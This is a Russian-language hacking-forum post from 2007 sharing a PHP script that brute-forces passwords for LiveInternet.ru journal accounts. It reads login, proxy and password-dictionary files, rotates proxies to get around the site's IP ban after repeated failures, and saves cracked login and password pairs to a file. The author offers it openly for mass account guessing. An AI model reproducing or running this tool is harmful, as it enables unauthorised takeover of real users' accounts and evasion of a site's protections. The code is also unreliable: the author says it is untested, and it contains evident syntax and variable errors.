Показать сообщение отдельно

Brut_beta ver
  #7  
Старый 15.04.2007, 06:54
mR_LiNK[deface_0nl
Участник форума
Регистрация: 12.12.2006
Сообщений: 158
С нами: 10217736

Репутация: 114
По умолчанию Brut_beta ver

Написал скрипт брута, пока не тестил, так что смотрим критикуем (ток не особо, не гуру пока еще_..))) и тестим если все норм, возможны ошибки синтаксиса (скорее описки!! пока постил несколько успел увидеть)))

трудность - бан ip на 2-е минуты в случае 3-ех кратного повтора неверной аутентификации одного логина (решается динамической сменой прокси, по 1-у прокси на 2-е пары, тем самым список прокси зацикливается и избегается бан)

Брут НЕ сложных паролей. Рассчитан на массовый подбор юзеров, поэтому НЕ нужно класть огромный словарь на все случаи жизни!! Если необходим брут конкретного пользователя - скрипт легко модифицируется, НО проксей соответственно нужно много больше!!

Необходимо 4-и файла {
login.txt (здесь список логинов, каждый логин в новой строке)
proxy.txt (здесь список прокси вида IPort, каждый в новой строке)
pass.txt (здесь словарь для брута; словарь нун скачать, имхо в сети их полно!)
succes.txt (сюда скрипт пишет пару логин и пароль в случае успешного совпадения)
}

PHP код:
<?php
//массив логинов
$f_log = fopen (login.txt, r);
$login = fread($f_log, 65000);
$name = explode('\n', $login);
fclose($f_log);

//массив проксей (в файле прокси разделены '\n'), порт и хост разделены ':'
$f_proxy = fopen('proxy.txt', r);
$proxy = fread($f_proxy, 65000);
$proxy_server = explode("\n", $proxy);
$n=count($proxy_server);
for (
$i=0; $i<=count($proxy_server)-1; $i++)
 {
  
$proxy_serv[$i] = explode(":", $proxy_server[$i]);
 }
fclose($f_proxy);

//массив паролей из словаря))
$f_pass = fopen (pass.txt, r);
$passwd = fread($f_pass, 65000);
$pass = explode('\n', $passwd);
fclose($f_pass);

//собственно брут
  
for($n=0; $n<count($name); $n++)
  {
  
$path = 'http://www.liveinternet.ru/journal_login.php?nick='.$name[n];
  for(
$i=0; i<count($proxy_serv);$i++)
  {
  
$fp = fsockopen($proxy_serv[i][0], $proxy_serv[i][1], $errno, $errstr, 30);
  if (!
$fp) {
  echo 
"errstr". $errno "<br />\n";
  } else {
  for(
$p=0; $p<2; $p++)
  {
  
$path .= '&password='.$pass[p];
  
$header = "GET $path HTTP/1.1\r\n";
  
$header .= "Host: 'http://www.liveinternet.ru'\r\n"; 
  
$header .= "Connection: Close\r\n\r\n";
  
//$headers .= "referrer: $hostname\r\n";   так как проверка данного заголовка не предусмотрена системой безопасности сайта этот параметр можно опустить.
  // отправляем
  
fputs($fp, $header);

  
//получаем ответ и работаем с ним
  
$returndata = fread($fp, 65000);
  
$flag = '<title>Дневник '.$login': LiveInternet - Дневники,Новости,Форумы</title>';
  
$pos = strpos($returndata, $flag);
  if (
$pos) {
  
$succ = 'Для '.$login 'пароль: '.$pass;
  
$f_succes = fopen ('succes.txt', a+);
  
fputs ('succes.txt', $succ);
  
fclose($f_succes);
  }
  
fclose($fp);
        }
  }
}

}

fclose($f_log);
fclose($f_proxy);
fclose($f_pass);
?>

Последний раз редактировалось mR_LiNK[deface_0nl; 15.04.2007 в 20:27..
 
Ответить с цитированием